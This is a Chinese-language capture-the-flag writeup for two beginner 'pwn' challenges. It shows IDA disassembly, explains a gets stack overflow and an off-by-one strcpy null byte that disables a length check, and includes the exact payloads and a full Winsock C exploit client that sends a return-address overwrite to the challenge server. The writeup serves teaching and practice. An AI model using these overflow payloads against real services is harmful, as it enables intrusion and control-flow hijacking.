pwnstep1-2 writeup

来源:互联网 发布:打卡机数据恢复 编辑:程序博客网 时间:2024/05/20 15:37

协会平台更新了。放一篇writeup

一道pwn的简单题目,主要练练栈溢出。

STEP1:

nc连接上去之后是3个选项。其中1,2都有字符串的输入。先丢ida分析。
根据一些字符串的输出理清函数的调用关系。先来step1.
提示输入字符串(不限长度的)然后rol13加密。重点是如下的分支跳转。

.text:0804891E 09C                 cmp     [ebp+var_D], 5Ch             ; <-比较[esp+var_D]与5Ch。成功这调用函数打印flag。.text:08048922 09C                 jnz     short loc_8048956.text:08048924 09C                 sub     esp, 0Ch .text:08048927 0A8                 push    offset aCongratulation        ; "Congratulations you've got the point!".text:0804892C 0AC                 call    _puts         .text:08048931 0AC                 add     esp, 10h    .text:08048934 09C                 sub     esp, 0Ch     .text:08048937 0A8                 push    offset aGiveYouWhatYou       ; "Give you what you want:".text:0804893C 0AC                 call    _puts     .text:08048941 0AC                 add     esp, 10h    .text:08048944 09C                 sub     esp, 0Ch .text:08048947 0A8                 push    offset file                  ; "flags/step1".text:0804894C 0AC                 call    sub_80486AB                  ; <-打印flag的函数。参数是flags/step1.text:08048951 0AC                 add     esp, 10h  .text:08048954 09C                 jmp     short loc_8048966 ; Jump.text:08048956     ; ---------------------------------------------------------------------------.text:08048956.text:08048956     loc_8048956:                                         ; CODE XREF: sub_8048781+1A1↑j.text:08048956 09C                 sub     esp, 0Ch  .text:08048959 0A8                 push    offset aYes__youSeeRot       ; "Yes..you see ROT13 runing well but do y"....text:0804895E 0AC                 call    _puts  .text:08048963 0AC                 add     esp, 10h 

前面还有个不限长度的gets函数,所以是只要输入字符串覆盖就可以了。
构造字符串’a’*(0x94-0x0D) + 0x5c(就是字符’\’)
手工输入即可得到flag


STEP2:

分析step2的程序流程,首先输入密码。密码为明文很容易发现为”=L=why_dont_you_guess_me?”输入正确后提示输入验证码,为109然后就结束了。
随后我再查找.const段发现字符串”flags/step2”,猜想使用这个参数调用step1中打印flag的函数,但是两个输入函数都是限制了输入长度的,所以没有办法进行栈溢出攻击。

于是仔细的分析step2的代码。发现在strcpy处有一个漏洞,因为strcpy复制后总是加上’\0’,正好将[esp+var_c]处的用以限制输入长度变量覆盖为0.

.text:08048A01                 sub     esp, 8.text:08048A04                 lea     eax, [ebp+nptr].text:08048A0A                 push    eax             ; src.text:08048A0B                 lea     eax, [ebp+dest].text:08048A0E                 push    eax             ; dest.text:08048A0F                 call    _strcpy         ;这里的strcpy把[esp+var_c]处变量覆盖为零。.text:08048A14                 add     esp, 10h.text:08048A17                 sub     esp, 0Ch.text:08048A1A                 push    offset aOh__andINeedTo  ; "Oh..And,I need to check if you are huma"....text:08048A1F                 call    _puts.text:08048A24                 add     esp, 10h.text:08048A27                 sub     esp, 0Ch.text:08048A2A                 push    offset aPleaseCalculat  ; "Please calculate:?"....text:08048A2F                 call    _puts.text:08048A34                 add     esp, 10h.text:08048A37                 mov     eax, [ebp+var_C].text:08048A3A                 sub     eax, 1           ; <-这里是关键,将已经为0的eax再减去1。可以溢出啦。.text:08048A3D                 sub     esp, 4.text:08048A40                 push    0Ah.text:08048A42                 push    eax.text:08048A43                 lea     eax, [ebp+nptr].text:08048A49                 push    eax.text:08048A4A                 call    sub_804870E      ;可以在这里开心的构造溢出了

所以最终思路是

先发送=L=why_dont_you_guess_me? + ‘a’*38 + ‘\n’覆盖变量。
然后发送119 + ‘\0’*1101 + 0x0804894C(函数地址) + 0x08048c3a(参数地址) + ‘\n’

本人是个渣,不会用高大上的python,所以用c语言写了段代码。。

#include <winsock2.h> #include <stdio.h> #include <Windows.h>#pragma comment(lib,"ws2_32.lib") int main (void){     int i;    WSADATA wsaData;     SOCKET sockClient;    SOCKADDR_IN addrServer;    char    recvBuf[5000]={0};    WSAStartup(MAKEWORD(2,2),&wsaData);     sockClient=socket(AF_INET,SOCK_STREAM,0);     addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");     addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));     recv(sockClient,recvBuf,1000,0);    printf("%s",recvBuf);    printf("\n*****************************************************************\n");    for(i=0;i<1000;recvBuf[i]=0,i++);    char message[2000]={'2','\x0a'};     send(sockClient,message,2,0);    Sleep(1000);    recv(sockClient,recvBuf,1000,0);     printf("%s",recvBuf);    printf("\n*****************************************************************\n");    for(i=0;i<1000;recvBuf[i]=0,i++);    for(i=0;i<64;i++)        message[i]='1';    message[64]='\x0a';    strcpy_s(message,26,"=L=why_dont_you_guess_me?");    message[25]='1';    send(sockClient,message,65,0);    Sleep(1000);    recv(sockClient,recvBuf,1000,0);    printf("%s",recvBuf);    printf("\n*****************************************************************\n");    for(i=0;i<5000;recvBuf[i]=0,i++);    for(i=0;i<1104;i++)        message[i]='\0';    message[1104]=0x4c;    message[1105]=0x89;    message[1106]=0x04;    message[1107]=0x08;    message[1108]=0x3a;    message[1109]=0x8c;    message[1110]=0x04;    message[1111]=0x08;    message[1112]=0x0a;    message[0]='1';    message[1]='0';    message[2]='9';    send(sockClient,message,1113,0);    Sleep(1000);    recv(sockClient,recvBuf,5000,0);    printf("%s",recvBuf);    printf("\n*****************************************************************\n");    closesocket(sockClient);     WSACleanup();} 

flag get!

啥,要pwn文件!反正没人看,就不传了

0 0
原创粉丝点击